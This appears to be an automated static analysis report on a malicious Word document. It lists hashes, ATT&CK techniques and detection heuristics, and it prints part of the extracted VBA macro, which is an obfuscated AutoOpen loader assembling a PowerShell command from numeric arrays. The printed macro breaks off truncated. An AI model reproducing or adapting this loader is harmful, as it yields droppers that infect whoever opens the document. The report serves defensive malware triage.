Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8d5ea935e8fada1d…

MALICIOUS

Office (OLE)

105.0 KB Created: 2018-07-05 09:33:00 Authoring application: Microsoft Office Word First seen: 2019-01-20
MD5: 2ef710674e7d9babd2f4392278cc10be SHA-1: c706068a872e6f112c1234417e0064501bb10e11 SHA-256: 8d5ea935e8fada1df9a567b2e94052d3e0bbb36828efa321fad9912ab166f654
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within VBA macros. The AutoOpen macro is obfuscated and uses CreateObject and Shell calls, strongly suggesting it's designed to execute arbitrary commands. The reconstructed string 'wershell ( (21 ,99 , 75 ,94,12 ,95 , 84 , 70 ,28,94 ,83, 91 ,84 ,82 , 69 ,17 , 127 ,84 )' from the VBA script points towards the execution of a command-line interface, likely PowerShell, to download and execute a secondary payload. This is a common pattern for macro-based malware.

Heuristics 9

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 107,520 bytes but its declared streams total only 62,542 bytes — 44,978 bytes (42%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7582 bytes
SHA-256: d1aaae11ed324321dcdee5ba79717c1d6d683f8c393af0540a5b56c9c1f98fe8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iIwBPoqiJJYi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   wGwrVj = (29273 / NcMdsf * 63999 / UjUfFK)
   dAVYY = (23985 / PzjfFP * 90995 / DWVzE)
   cvuks = (70482 / BJNDuM * 57042 / Ehujz)
   oWuAT = (68863 / ZlsAiO * 92825 / daSJl)
   HnJGm = (19196 / swEOb * 63576 / rzNSCt)
   SAnpcf = (83768 / LDaDwn * 22405 / qTIYSW)
ffXjNuT (ObiqhtNwYz + AlCkEW)
   JovRYA = (12553 / cwzwml * 31563 / iwVBls)
   RZMMEq = (47142 / dzRzbS * 7442 / uYoFH)
   SRobpc = (40618 / wZkNj * 72285 / zaTZu)
   QaSauG = (58262 / PMjAOO * 54485 / ijHwl)
End Sub


Attribute VB_Name = "uSAKVzYqUrIlz"
Function ObiqhtNwYz()
On Error Resume Next
dFWpLB = (10363 / KwtzBC)
   pidUG = (83329 / FSMVGv)
   BBKqiQ = (97441 / nksqml)
bZSlfYwil = "wers" + "hell    " + "         " + "     " + Chr(40) + Chr(40) + "21 ,99" + " , 75" + ",94,1" + "2 ,95 ,"
PzYuO = YwZsM + 67650 - (Gqwadu / qSLSw)
   dFVsoS = ksSYM + 87418 - (CXbTE / hrMGjB)
   lsOMnr = Vsudw + 42386 - (FzjGV / bBOjCH)
bIdoD = "84 , 70 ," + "28,9" + "4 ,83, 91" + " ,84" + " ,82" + " , 69 ,1" + "7 , 127" + ",84 ,"
iKfdkY = njdrO + 3159 - (DhioqD / jWjCh)
   oGzUim = LfZrw + 71209 - (DwfYLk / bLbJR)
   vWLNB = cVtOLM + 87859 - (QCjzi / YdzUbh)
fqKcDMvzip = "69, 31,1" + "02 ,84" + ", 83," + "114 ,93," + " 88 ," + " 84,9" + "5, 69,"
rmUHd = znIQBX + 12644 - (ClHXpq / rzXXjT)
   CMdEAu = Dvljnm + 20188 - (zKbrX / ZEjKal)
   owjzOD = EPzvU + 21931 - (tnqoA / XkPAT)
   waDvss = RiMbK + 66648 - (PcdJvS / CEwuo)
   EBDbl = srUjB + 80925 - (UMHXMi / TrXwa)
SLIqKiYnfq = "10,2" + "1 ,107 " + ", 103 " + ",112" + " ,12 ,2" + "2,89 , 6" + "9,69 , 6" + "5,11 ," + "30 ," + " 30 "
jddKPr = svakFw + 3890 - (BNuIn / YcNCc)
SEVjvPaW = ", 83 , " + "94,7" + "2 , 67," + "80 ,9" + "2, 94, " + "66 ,31 ,8" + "5,80,8"
PImjo = UQlGjA + 2071 - (mzkbor / aRBGX)
   ppqld = NHzFX + 93623 - (wzSru / VjKZn)
   aJzzOB = JbvYL + 32990 - (RmkbCZ / MqTQb)
   Sfinr = tTIpX + 35951 - (AAirC / Saqjp)
phTdzE = "6 , 66,31" + ", 68" + ",66 ," + " 30, 9" + "3 ,88,82," + "84, " + "95,66 ," + " 84,30 ,7" + "5,75 " + ",94,68 ," + "69 , 31 ," + "84 ,7"
iPDbZS = TVJivj + 63549 - (pVizQc / ijPKV)
   TncwtA = PEdWL + 11975 - (ECvGu / cUHzol)
   dIHkmk = aumnKk + 63135 - (cwJvbS / FozJWk)
RIzUwsiVAAz = "3, 84,11" + "3,89 ," + "69, 6" + "9,65,11 " + ", 30 ," + "30, 87, " + "93 ," + "94,6" + "8 ,6" + "7 , 88,6" + "6 ,89 ,87" + ", 67,"
zwosA = LzwDP + 50727 - (KFrbsE / AaWNz)
tqiutRYP = " 80, 86" + " ,67 , 8" + "0,95" + ", 82,84" + ",31,88 ," + " 95 , 30," + "70, 65,28" + " ,82" + " ,94 , " + "95,69,84" + ",95 , 69 " + ", 30"
atzEa = izLsY + 38466 - (vnGwcn / wKvuoq)
   cOEDiX = OwolFn + 24336 - (YDDIiu / usSwO)
AcPvoavbDMK = " , 68 , 6" + "5, 9" + "3 , 9" + "4,80 ,8" + "5 ,66 ,3" + "0, 75" + ",75 ," + "94, 68,69"
ObiqhtNwYz = bZSlfYwil + bIdoD + fqKcDMvzip + SLIqKiYnfq + SEVjvPaW + phTdzE + RIzUwsiVAAz + tqiutRYP + AcPvoavbDMK
   QzDPkJ = nbGQA + 2950 - (sSwQvK / SkKin)
   zIvOBm = Gkszi + 27331 - (ZFPkjO / UkHPTb)
   CzMslz = CMKoj + 56078 - (VuhNnM / mCfqV)
   klITp = voAMs + 31711 - (rLjKD / HlTTb)
   aQRhX = Ezlkc + 67481 - (mPETJ / wPSVD)
End Function
Function AlCkEW()
On Error Resume Next
whKuLD = jTlsVq + 79580 - (plLKv / GVRDzQ)
   BPLcFE = ahqcO + 19060 - (OIzKMz / GpXRc)
   oKdhbb = fhCGw + 58240 - (MRrGaD / mFRcur)
IamVKB = ", 31 , 8" + "4, 73" + ",84, " + "22 , 31," + " 98,65" + ",93 ," + "88 , " + "69 ,25 " + ", 22,11" + "3,22, 24,"
OmvJia = oPNCJ + 7327 - (EwPQJ / LqqrbC)
oWbzQ = " 10 ,2" + "1 ,87" + ",70 ," + " 97 " + ", 17 , 1" + "2,17 " + ", 22" + " ,8,"
hcVDj = dOXOUl + 86494 - (FXzHwc / lUHwZB)
   jjomp = TDVLlC + 7059 - (NBpizN / fbCujX)
ZEWbNj = " 4 , " + "9 ,22" + ",10,21 ," + "64 ,90, " + "85, 12," + " 21, 84 ," + " 95, 71" + ",11 "
JRWwni = wUJjm + 34310 - (dcmlV / wYYUOw)
rjUsUp = ",69 ,84 " + ", 92 
... (truncated)

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